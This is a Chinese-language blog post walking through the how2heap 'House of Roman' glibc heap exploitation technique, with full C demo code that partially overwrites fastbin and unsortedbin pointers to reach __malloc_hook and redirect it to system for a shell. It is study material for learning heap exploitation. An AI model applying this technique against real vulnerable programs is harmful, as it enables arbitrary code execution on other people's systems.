[how2heap]house_of_roman的调试

house_of_roman 的特点是无泄漏,需要结合 unsortedbin attack。

基本思路:先创造有个 unsortedbin chunk,再切割这个 unsortedbin chunk,创造出一个 0x70 的 fastbin chunk 但是 这个 chunk 的 fd 位置是从 unsortedbin chunk 来的 main_arena,再根据偏移将这个带有 main_arena 地址 fastbin chunk 加入到一条 fastbin 链中,再根据偏移修改 main_arena 的末尾字节使其为 __malloc_hook 地址,再次 malloc 两次。申请到目的地址。写入 system 或 one_gadget。

#define _GNU_SOURCE     /* for RTLD_NEXT */
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <malloc.h>
#include <dlfcn.h>

char* shell = "/bin/sh\x00";

void* init(){
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
}

int main(){
    char* introduction = "\n欢迎学习 House of Roman\n\n"
                 "这是一种无泄漏的堆利用技术\n"
                 "攻击分为三个阶段: \n\n"
                 "1. 通过低位地址改写使 fastbin chunk 的 fd 指针指向 __malloc_hook.\n"
                 "2. 通过 unsortedbin attack 把 main_arena 写到 malloc_hook 上.\n"
                 "3. 通过低位地址修改 __malloc_hook 为 one_gadget.\n\n";
    puts(introduction); 
    init();

    puts("第一步: 让 fastbin chunk 的 fd 指针指向 __malloc_hook\n\n");
    puts("总共申请了 4 个 chunk,分别称为 chunk1、2、3、4,我感觉 chunk123 比一串英文更好记 Orz\n注意我们去 malloc 的时候指针所指向的类型是 uint8_t,实际上就是 char,一个字节\n");
    uint8_t* chunk1 = malloc(0x60); //chunk1
    malloc(0x80); //chunk2
    uint8_t* chunk3 = malloc(0x80); //chunk3
    uint8_t* chunk4 = malloc(0x60); //chunk4

    puts("free 掉 chunk3,会被放进 unsorted bin 中,在他的 fd、bk 将变为 unsorted bin 的地址");
    free(chunk3);

    puts("这时候去 malloc 一个(chunk3_1),会从 unsorted bin 中分割出来,同时我们也拿到了 unsorted bin 的地址\n");
    uint8_t* chunk3_1 = malloc(0x60); 
    puts("通过 unsorted bin 的地址计算出 __malloc_hook\n");
    long long __malloc_hook = ((long*)chunk3_1)[0] - 0xe8;

    free(chunk4); 
    free(chunk1);
    puts("依次释放掉 chunk4、chunk1,后进先出,这时候 fastbin 链表是:fastbin 0x70 -> chunk1 -> chunk4\n");
    puts("如果改掉 chunk1 的 fd 指针最后一个字节为 0,这个链表将会变为:fastbin 0x70 -> chunk1 -> chunk3_1 -> chunk3_1 的 fd\n");
    chunk1[0] = 0x00;

    puts("chunk3_1 的 fd 是我们可以修改掉的,通过修改后几位,将其改为 __malloc_hook - 0x23\n");
    long long __malloc_hook_adjust = __malloc_hook - 0x23; 

    int8_t byte1 = (__malloc_hook_adjust) & 0xff;   
    int8_t byte2 = (__malloc_hook_adjust & 0xff00) >> 8; 
    chunk3_1[0] = byte1;
    chunk3_1[1] = byte2;

    puts("接下来连续 malloc 两次,把 fastbin 中的 chunk malloc 回去,再次 malloc 就能拿到一个指向 __malloc_hook 附近的 chunk()\n");
    malloc(0x60);
    malloc(0x60);
    uint8_t* malloc_hook_chunk = malloc(0x60);  
    puts("在真正的漏洞利用中,由于 malloc_hook 的最后半字节是随机的,因此失败了15/16次\n"); 

    puts("第二步:Unsorted_bin attack,使我们能够将较大的值写入任意位置。 这个较大的值为 main_arena + 0x68。 我们通过 unsorted bin attack 把 __malloc_hook 写为 unsortedbin 的地址,这样只需要改低几个字节就可以把 __malloc_hook 改为 system 的地址了。\n");

    uint8_t* chunk5 = malloc(0x80);   
    malloc(0x30); // 防止合并

    puts("把 chunk 放到 unsorted_bin\n");
    free(chunk5);

    __malloc_hook_adjust = __malloc_hook - 0x10; 
    byte1 = (__malloc_hook_adjust) & 0xff;  
    byte2 = (__malloc_hook_adjust & 0xff00) >> 8; 

    puts("覆盖块的最后两个字节使得 bk 为 __malloc_hook-0x10\n");
    chunk5[8] = byte1;
    chunk5[9] = byte2;

    puts("触发 unsorted bin attack\n");
    malloc(0x80); 

    long long system_addr = (long long)dlsym(RTLD_NEXT, "system");
    //这个 dlsym 是用来获得 system 地址的
    puts("第三步:将 __malloc_hook 设置为 system/one_gadget\n\n");
    puts("现在,__malloc_hook 的值是 unsortedbin 的地址,只需要把后几位改掉就行了\n");
    malloc_hook_chunk[19] = system_addr & 0xff;
    malloc_hook_chunk[20] = (system_addr >> 8) & 0xff;
    malloc_hook_chunk[21] = (system_addr >> 16) & 0xff;
    malloc_hook_chunk[22] = (system_addr >> 24) & 0xff; 
    puts("拿到 Shell!");
    malloc((long long)shell);
}

编译:gcc pwn.c -o pwn -ldl

首先申请了四个 chunk ,分别是 chunk1(0x60),chunk2(0x80),chunk3(0x80),chunk4(0x60)
file

接着往下,free 掉 chunk3,使其进入 unsortedbin

file

malloc 一个 0x60,切割 unsortedbin chunk3,此时新申请的 chunk3_1 里包含了 main_arena 的地址。这里是减了 0xe8 的地址,这个偏移具体看题是多少。

file

接着创建一条 fastbin 链,free chunk4 和 chunk1,当前 free chunk1 -> free chunk4

file

可见当 chunk1 fd 末尾两字节改为 0x00 时,fastbin 链将会变成 free chunk1 -> chunk3_1 -> main_arena,但此时 chunk3_1 是分配状态,是可写的。实现 chunk3_1 的状态堆叠。

file

接着将 chunk31 的 fd 改为 \_malloc_hook 的地址。这里的地址是不准确的,不过懂原理才是最重要的。

file

再连续 malloc(0x60),就能申请到目的地址的 chunk 了。再后的操作就是申请 __malloc_hook-0x23 位置,然后再malloc一次,来进行 unsortedbin attack,为的是向 __malloc_hook 写入一个 main_arena 地址。

这里就有一个问题了,为什么已经申请到了目的地址了,还要再申请一次呢?

首先,这个漏洞是没有泄露的,也就是没有libc基址的,那么我们的 system 和 one_gadget,都只有偏移。要构造出完整的地址,还需要一个基址,这里再进行一次 unsortedbin attack 就是为了把高位的几个字节直接写好充当 libc 基址,再修改后面的偏移就行了。

__malloc_hook 写 system 的用法也就是直接 malloc('\bin\sh\x00')

发表评论

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据